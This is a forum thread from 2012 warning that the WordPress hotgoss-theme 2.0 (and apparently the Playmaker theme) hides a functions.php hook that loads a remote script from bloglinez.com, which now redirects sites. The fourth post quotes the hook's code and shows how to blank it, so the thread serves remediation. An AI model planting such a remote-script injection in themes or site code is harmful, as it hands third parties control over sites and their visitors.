20i Reseller Hosting

WP hotgoss-theme 2.0

Discussion in 'Content Management Systems' started by seanc, Apr 15, 2012.

Thread Status:
Not open for further replies.
  1. seanc United Kingdom

    seanc Well-Known Member

    Joined:
    May 2005
    Posts:
    1,202
    Likes Received:
    6
    if anyone is using the wordpress hotgoss-theme 2.0 then you need to check your sites.

    there is something in the functions.php file that is now making sites redirect to bloglinez.com

    if you need to fix it PM me and i will tell you what to do to fix.
     
  2. Domain Forum

    Acorn Domains Elite Member

    Joined:
    1999
    Messages:
    Many
    Likes Received:
    Lots
    articles.co.uk
     
  3. bensd United Kingdom

    bensd Well-Known Member

    Joined:
    Jan 2007
    Posts:
    5,034
    Likes Received:
    61
    Are you sure it wasn't an attack on your sites?
     
  4. Adem United Kingdom

    Adem Active Member

    Joined:
    Mar 2012
    Posts:
    141
    Likes Received:
    3
    Solution

    This cropped up on a friends website yesterday and I had to sort it for them.

    Apparently the file was always in the functions.php file and was just sitting there until someone decided to make the js do something.

    I'm guessing this code is in quite a few wordpress themes as they were using the 'Playmaker' theme.

    The solution to this is here on the Wordpress forums.

    Replace:
    Code:
    function mt_misc_header() {
    	echo '<script src="http://www.bloglinez.com/theme.js" type="text/javascript"></script>';
    }
    with:
    Code:
    function mt_misc_header() {
    	echo '';
    }
    and that should fix it.
     
  5. seanc United Kingdom

    seanc Well-Known Member

    Joined:
    May 2005
    Posts:
    1,202
    Likes Received:
    6
    Yes, thats how to fix it.
    Yes, it has been sat in the function file waiting to be triggered, so, thankfully i wasnt hacked.
     
Thread Status:
Not open for further replies.